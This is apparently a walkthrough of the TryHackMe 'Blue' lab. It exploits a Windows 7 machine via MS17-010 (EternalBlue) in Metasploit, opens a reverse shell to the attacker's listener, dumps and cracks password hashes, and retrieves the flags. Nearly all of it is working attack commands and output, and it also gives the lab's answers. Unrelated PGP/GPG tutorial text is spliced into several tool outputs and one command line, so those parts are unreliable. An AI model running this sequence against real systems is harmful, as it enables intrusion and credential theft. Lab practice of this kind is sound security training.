

Blue

Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)

Command: **nmap -sV -sC --script vuln <ip>**

I.e **nmap -sV -sC --script vuln 10.10.136.112**

How many ports are open with a port number under 1000?

Answer: **3**

```
(cyvally@cyvally)-[~/Downloads]
$ nmap -sV -sC --script vuln 10.10.136.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-02 07:52 WAT
Nmap scan report for 10.10.136.112
Host is up (0.68s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE          VERSION
135/tcp    open  msrpc             Microsoft Windows RPC
139/tcp    open  netbios-ssn       Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  ssl/ms-wbt-server?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp  open  msrpc             Microsoft Windows RPC
49153/tcp  open  msrpc             Microsoft Windows RPC
49154/tcp  open  msrpc             Microsoft Windows RPC
49158/tcp  open  msrpc             Microsoft Windows RPC
49159/tcp  open  msrpc             Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

under 1000 open ports

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

Answer: **ms17-010**

```
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms17-010:
|  VULNERABLE:
|  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|  State: VULNERABLE
|  IDs: CVE:CVE-2017-0143
|  Risk factor: HIGH
|  A critical remote code execution vulnerability exists in Microsoft SMBv1
|  servers (ms17-010).
|
|  Disclosure date: 2017-03-14
|  References:
|  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|  https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|  https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
```

Task 2 Gain Access

Start Metasploit

Command: **msfconsole -q**

```
*n00bytes*0wC6g*guildzero*dorko*tv*42*1EHFJ*carpeDiem*Flamin-G0*BarryWhite*XUcyber*FernetInjection*UCcurity*
*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdb*Isec-U_04The Pomorians*T35H*H0wk33*JetJ*OrangeStar*Team Corgi*
*D0g3*0itch*0ffRes*Legion0fRinf*UniWA*wguc00*Pr0ph3t*L0ner* n00bz*0SINT Punchers*Tinfoil Hats*Hava*Team Neu*
*Cyb3r*Doctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*#KLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*Woot*Raise The Black*CTErr0r*
*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzlexgauti*
*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyal*Ephyra*sard city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*0D1E*noob_noob*Ferris Wheel*Ficus*0N0*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*ccccchhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*1-cube warriors*WhateverThrone*Salvat0re*Chadsec*0*1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva*
*Inspiv*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings*
*chads*SecureShell*EetIetsHekken*CyberSquad*PgK*Trident*RedSeer*SOMA*EVM*Buckys_Angels*OrangeJuice*DemDirtyUserz*
*0penToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*

What is GPG?
--=[ metasploit v6.3.55-dev ]--
+ --=[ 2397 exploits - 1235 auxiliary - 422 post ]--
+ --=[ 1391 payloads - 46 encoders - 11 nops ]--
+ --=[ 9 evasion ]--
Metasploit Documentation: https://docs.metasploit.com/
msf6 > 
```

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.....)

Answer: **exploit/windows/smb/ms17_010_eternalblue**

Command: **search ms17-010**

```
msf6 > search ms17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010      2017-03-14      normal No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
```

Show options and set the one required value. What is the name of this value? (All caps for submission)

Answer: **RHOSTS**

Command: **show options**

Command : **set RHOSTS 10.10.136.112**

```
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2 and standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.43.130  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


PGP stands for Pretty Good Privacy. It's a software that implements encryption for encrypting files, performing digital signing and more.

Exploit target:


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |


Open Source Implementation of PGP from the GNU project. You may need to use GPG to decrypt files in CTFs. With PGP/GPG, private passphrases in a similar way to SSH private keys. If the key is passphrase protected, you can attempt to crack this passphrase using John The Ripper and

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.136.112
RHOSTS => 10.10.136.112
```

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:

set payload windows/x64/shell/reverse_tcp

With that done, run the exploit!

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

→ **NOTE:** If you are using your local kali machine and not the attack box provided by tryhackme, remember to set your LHOST, which is the ip address provided by the vpn

Command: **ifconfig** (this can be done on another tab)

Command: **set LHOST <ip>**

Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

```

[-] 10.10.136.112:445 - -----FAIL-----
[-] 10.10.136.112:445 - -----
[-] 10.10.136.112:445 - -----
[*] 10.10.136.112:445 - Connecting to target for exploitation.
[+] 10.10.136.112:445 - Connection established for exploitation.
[+] 10.10.136.112:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.136.112:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.136.112:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.136.112:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.136.112:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31  ice Pack 1
[+] 10.10.136.112:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.136.112:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.136.112:445 - Sending all but last fragment of exploit packet
[*] 10.10.136.112:445 - Starting non-paged pool grooming
[+] 10.10.136.112:445 - Sending SMBv2 buffers
[+] 10.10.136.112:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.136.112:445 - Sending final SMBv2 buffers.
[*] 10.10.136.112:445 - Sending last fragment of exploit packet!
[*] 10.10.136.112:445 - Receiving response from exploit packet
[+] 10.10.136.112:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.136.112:445 - Sending egg to corrupted connection.
[*] 10.10.136.112:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.136.112
[*] Command shell session 1 opened (10.4.70.223:4444 → 10.10.136.112:49242) at 2024-05-02 08:41:35 +0100
[+] 10.10.136.112:445 - -----
[+] 10.10.136.112:445 - WIN
[+] 10.10.136.112:445 - -----

```

C:\Windows\system32> i am in

Task 3 Escalate

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

Answer: **post/multi/manage/shell_to_meterpreter**

→ I backgrounded the session

→ Note: in my case, i already got a meterpreter session, so i do not need to convert from shell to meterpreter, but if you get a shell session, i will run you through how to upgrade(ofcourse, theoretically, without screenshot)

```

meterpreter >
Background session 1? [y/N]
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

```

Command: **search shell_to**

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > search shell_to
Matching Modules
#  Name
0  post/multi/manage/shell_to_meterpreter

Description
PGP or GPG is an Open Source Implementa... GPG to decrypt files in CTFs. With PGP/GPG, private ke...
this task is not protected with a passphrase.
Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter

```

Select this (use MODULE_PATH). Show options, what option are we required to change?

Answer: **SESSION**

Command: **show options**

→ We can see in the screenshot below that we need to set the value for session

```
msf6 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
```

Name	Current Setting	Required	Description
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

Set the required option, you may need to list all of the sessions to find your target here.

Command: **sessions**

→ Yours will most likely be session 1, make sure you set.

Run! If this doesn't work, try completing the exploit from the previous task once more.

→ Note: before you run, if you are connected to the tryhackme VPN, remember to set the LHOST before you run

Once the meterpreter shell conversion completes, select that session for use.

Command: **sessions -i 1**

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

```
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > shell
Process 2056 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

→ I exited back to meterpreter

Command: exit

→ Then listed the processes

Command: ps

1016	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	
1052	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	
1096	1960	cmd.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\cmd.exe
1160	692	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	
1324	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	
1388	692	amazon-ssm-agent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1400	692	SearchIndexer.exe	x64	0	NT AUTHORITY\SYSTEM	
1460	692	LiteAgent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\XenTools\LiteAgent.exe
1524	2256	powershell.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
1608	692	Ec2Config.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1812	544	conhost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\conhost.exe
1920	692	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	
1960	692	spoolsv.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe
2000	816	WmiPrvSE.exe	x64	0	NT AUTHORITY\SYSTEM	
2224	544	conhost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\conhost.exe
2228	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	
2308	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	
2468	692	vds.exe	x64	0	NT AUTHORITY\SYSTEM	
2960	692	TrustedInstaller.exe	x64	0	NT AUTHORITY\SYSTEM	

Task 4 Cracking

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Answer: Jon

Command: hashdump

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d :::
```

Copy this password hash to a file and research how to crack it. What is the cracked password?

Answer: **alqfna22**

- I saved the hash as jon.txt
- And used john the ripper to crack it, plus the rockyou wordlist

Command: **john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon.txt**

```
(cyvally@Cyvally)-[~/Downloads]
$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon.txt for encrypting files, performing digital signing at
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
(alqfna22)
(alqfna22) (Jon)
2g 0:00:00:01 DONE (2024-05-02 10:36) 1.538g/s 7846Kp/s 7846Kc/s 7850KC/s alr19882006..alpusidi
Warning: passwords printed above might not be all those cracked (base protected, you can attempt to crack this passphrase us
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Task 5 Find flags!

Flag1? This flag can be found at the system root.

Answer/Flag: **flag{access_the_machine}**

Command: **cd C:**

- I listed the files

Command: **dir**

- Then i outputted the flag

```

meterpreter > cd C:\\
meterpreter > search -f flag1
No files matching your search were found.
meterpreter > dir
Listing: C:\\
Mode                Size           Type             Last modified          Name
-----
040777/rwxrwxrwx    0           dir              2018-12-13 04:13:36 +0100 $Recycle.Bin
040777/rwxrwxrwx    0           dir              2009-07-14 06:08:56 +0100 Documents and Settings
040777/rwxrwxrwx    0           dir              2009-07-14 04:20:08 +0100 PerfLogs
040555/r-xr-xr-x   4096           dir              2019-03-17 23:22:01 +0100 Program Files
040555/r-xr-xr-x   4096           dir              2019-03-17 23:28:38 +0100 Program Files (x86)
040777/rwxrwxrwx   4096           dir              2019-03-17 23:35:57 +0100 ProgramData
040777/rwxrwxrwx    0           dir              2018-12-13 04:13:22 +0100 Recovery
040777/rwxrwxrwx   4096           dir              2024-05-02 08:24:32 +0100 System Volume Information
040555/r-xr-xr-x   4096           dir              2018-12-13 04:13:28 +0100 Users
040777/rwxrwxrwx  16384           dir              2024-05-02 10:26:15 +0100 Windows
100666/rw-rw-rw-    24           file             2019-03-17 20:27:21 +0100 flag1.txt
000000/            0           file             1970-01-01 01:00:00 +0100 hiberfil.sys
000000/            0           file             1970-01-01 01:00:00 +0100 pagefile.sys

meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter >

```

Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

Answer: flag{sam_database_elevated_access}

→ I search for the location of the flag

Command: search -f flag2.txt

- Then changed to the directory the file is located
- Then listed out the files in the directory

Command: dir

→ Finally, i outputted its content

```

flag{access_the_machine}meterpreter > search -f flag2.txt
Found 1 result...

Path                                     Size (bytes)  Modified (UTC)
----
c:\Windows\System32\config\flag2.txt    34            2019-03-17 20:32:48 +0100

meterpreter > cd Windows\\System32\\config
meterpreter > dir
Listing: C:\Windows\System32\config
Mode                Size           Type             Last modified          Name
-----
100666/rw-rw-rw-   28672           fil              2018-12-13 00:00:40 +0100 BCD-Template
100666/rw-rw-rw-   25600           fil              2018-12-13 00:00:40 +0100 BCD-Template.LOG
100666/rw-rw-rw-  18087936           fil              2024-05-02 10:41:15 +0100 COMPONENTS
100666/rw-rw-rw-   1024           fil              2011-04-12 09:32:10 +0100 COMPONENTS.LOG
100666/rw-rw-rw-  13312           fil              2024-05-02 10:41:15 +0100 COMPONENTS.LOG1
100666/rw-rw-rw-    0           fil              2009-07-14 03:34:08 +0100 COMPONENTS.LOG2
100666/rw-rw-rw-  1048576           fil              2024-05-02 07:48:47 +0100 COMPONENTS[016888b8-6c6f-11de-8d1d-001e0bcde3ec].TxR.0.regtrans-ms
100666/rw-rw-rw-  1048576           fil              2024-05-02 07:48:47 +0100 COMPONENTS[016888b8-6c6f-11de-8d1d-001e0bcde3ec].TxR.1.regtrans-ms
100666/rw-rw-rw-  1048576           fil              2024-05-02 07:48:47 +0100 COMPONENTS[016888b8-6c6f-11de-8d1d-001e0bcde3ec].TxR.2.regtrans-ms
100666/rw-rw-rw-   65536           fil              2024-05-02 07:48:47 +0100 COMPONENTS[016888b8-6c6f-11de-8d1d-001e0bcde3ec].TxR.blf
100666/rw-rw-rw-   65536           fil              2018-12-13 04:20:57 +0100 COMPONENTS[016888b9-6c6f-11de-8d1d-001e0bcde3ec].TM.blf
100666/rw-rw-rw-   524288           fil              2018-12-13 04:20:57 +0100 COMPONENTS[016888b9-6c6f-11de-8d1d-001e0bcde3ec].TMContainer000000000000000001.regtrans-ms

```



```
flag[access_the_machine]meterpreter > search -f flag2.txt
Found 1 result...

Path                                     Size (bytes)  Modified (UTC)
-----
c:\Windows\System32\config\flag2.txt    34            2019-03-17 20:32:48 +0100

meterpreter > cd Windows\System32\config
meterpreter > dir
Listing: C:\Windows\System32\config

Mode                Size           Type             Last modified          Name
-----
100666/rw-rw-rw-    28672         fil             2018-12-13 00:00:40 +0100 BCD-Template
100666/rw-rw-rw-    25600         fil             2018-12-13 00:00:40 +0100 BCD-Template.LOG
100666/rw-rw-rw-    18087936      fil             2024-05-02 10:41:15 +0100 COMPONENTS
100666/rw-rw-rw-     1024         fil             2011-04-12 09:32:10 +0100 COMPONENTS.LOG
100666/rw-rw-rw-    13312         fil             2024-05-02 10:41:15 +0100 COMPONENTS.LOG1
100666/rw-rw-rw-      0           fil             2009-07-14 03:34:08 +0100 COMPONENTS.LOG2
100666/rw-rw-rw-    1048576      fil             2024-05-02 07:48:47 +0100 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.0.regtrans-ms
100666/rw-rw-rw-    1048576      fil             2024-05-02 07:48:47 +0100 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.1.regtrans-ms
100666/rw-rw-rw-    1048576      fil             2024-05-02 07:48:47 +0100 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.2.regtrans-ms
100666/rw-rw-rw-    65536         fil             2024-05-02 07:48:47 +0100 COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.blf
100666/rw-rw-rw-    65536         fil             2018-12-13 04:20:57 +0100 COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-    524288        fil             2018-12-13 04:20:57 +0100 COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer000000000000000001.regtrans-ms
```

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

Answer/Flag: **flag{admin_documents_can_be_valuable}**

→ Back to the system root, i searched for the flag3 location and got its content

Command: **search -f flag3.txt**

```
meterpreter > cd C:\\
meterpreter > search -f flag3.txt
Found 1 result...

Path                                     Size (bytes)  Modified (UTC)
-----
c:\Users\Jon\Documents\flag3.txt        37            2019-03-17 20:26:36 +0100

meterpreter > cd Users\Jon\Documents
meterpreter > dir
Listing: C:\Users\Jon\Documents

Mode                Size           Type             Last modified          Name
-----
040777/rwxrwxrwx     0             dir             2018-12-13 04:13:31 +0100 My Music
040777/rwxrwxrwx     0             dir             2018-12-13 04:13:31 +0100 My Pictures
040777/rwxrwxrwx     0             dir             2018-12-13 04:13:31 +0100 My Videos
100666/rw-rw-rw-     402          fil             2018-12-13 04:13:48 +0100 desktop.ini
100666/rw-rw-rw-     37           fil             2019-03-17 20:26:36 +0100 flag3.txt

meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter > |
```

END!!!